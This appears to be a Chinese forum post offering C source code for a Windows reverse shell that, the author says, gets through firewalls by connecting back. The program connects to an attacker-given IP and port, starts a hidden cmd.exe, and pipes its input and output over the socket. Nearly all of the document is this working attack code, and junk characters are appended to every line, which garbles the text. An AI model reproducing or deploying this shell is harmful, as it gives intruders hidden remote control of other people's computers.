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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 SY8C4vb'h  
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/* ============================== &?RQZHtg  
Rebound port in Windows NT P>6{&(  
By wind,2006/7 k_R"CKd  
===============================*/ `,0}ZzaV&  
#include tI{_y  
#include y!%CffF2  
?hM64jI|  
#pragma comment(lib,"wsock32.lib") /Q )\+  
j~QwV='S  
void OutputShell(); Qei" '~1a  
SOCKET sClient; { "E\Jcjl\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R GX=)  
"*H`HRi4T  
void main(int argc,char **argv) h7I{ 4  
{ E!AE4B1bd  
WSADATA stWsaData; u]gxFG "   
int nRet; u2[w#   
SOCKADDR_IN stSaiClient,stSaiServer; kNL\m[W8$  
{y;n:^  
if(argc != 3) 4`R(?  
{ _tXlF;  
printf("Useage:\n\rRebound DestIP DestPort\n"); %%wNZ{  
return; *9i{,I@  
} 9g?(BI^z  
s9d_GhT%-  
WSAStartup(MAKEWORD(2,2),&stWsaData); L_s:l9!r  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); IIqUZJ  
&"q=5e2  
stSaiClient.sin_family = AF_INET; Q5_o/wk  
stSaiClient.sin_port = htons(0); l NBL4yM  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M#[{>6>iE  
6`-jPR  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,?XCyHSgWW  
{ bYPKh  
printf("Bind Socket Failed!\n"); 'Z|mQZN  
return; ctJE+1#PH  
} <^uBoKB/f  
bs'n+:X `  
stSaiServer.sin_family = AF_INET; ]0\MmAJRn  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O| hpXkV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); t()c=8qF|u  
r"R#@V\'1b  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ri.I pRe  
{  rXU\  
printf("Connect Error!"); Qw)c$93  
return; \^%}M!tan  
} <d_!mKw  
OutputShell(); @OHm#`~  
} $tS}LN_!  
}iuw5dik+  
void OutputShell() I!?}jo3  
{ 40<mrVl  
char szBuff[1024]; _/K_[w 1  
SECURITY_ATTRIBUTES stSecurityAttributes; PiYxk+N  
OSVERSIONINFO stOsversionInfo; 6JQ'Ik;$wX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O7IJ%_A&  
STARTUPINFO stStartupInfo; 8&aq/4:q0  
char *szShell; k@:%:Sj 2  
PROCESS_INFORMATION stProcessInformation; Tu7QCr5*  
unsigned long lBytesRead; v}Fr@0%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "w.3Q96r  
ia 73?*mXT  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3%ZOKb"D*  
stSecurityAttributes.lpSecurityDescriptor = 0; *=c1d o%F  
stSecurityAttributes.bInheritHandle = TRUE; mdg i5v  
VU d\QR-  
baK$L;Xo:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "FKOaQ%IH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @{O`E^}-D  
_#h_:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uR r o?m<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z]9MM 2+  
stStartupInfo.wShowWindow = SW_HIDE; |H+Wed|  
stStartupInfo.hStdInput = hReadPipe; UZsH9 o  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; IobD3:D8W  
:Z z '1C  
GetVersionEx(&stOsversionInfo); {> 0wiH#!E  
( ICd}  
switch(stOsversionInfo.dwPlatformId) \;"=QmRD%:  
{ }U9G    
case 1: u-5{U-^_  
szShell = "command.com"; *=7U4W  
break; ,nB5/Lx  
default: tC9n k5~  
szShell = "cmd.exe"; g'qa}/X  
break; N' `A?&2ru  
} /Mu @,)''  
7x4PaX(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qm o9G  
sp*v?5lW  
send(sClient,szMsg,77,0); #?9;uy<j.q  
while(1) 1PV'?tXp(  
{ \)?HJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); "!%l/_p?  
if(lBytesRead) %F4%H|G  
{ `lt"[K<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Gk /fBs  
send(sClient,szBuff,lBytesRead,0); X(-4<B  
} ~O &:C{9=  
else )/?$3h;  
{ ?m? ::RH  
lBytesRead=recv(sClient,szBuff,1024,0); V% 6I\G2/:  
if(lBytesRead<=0) break; ={wcfhUl+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8eHyL  
} uGEfIy 2  
} }d}Ke_Q0  
vTzlwK\#1  
return; ,>mrPtxN  
}
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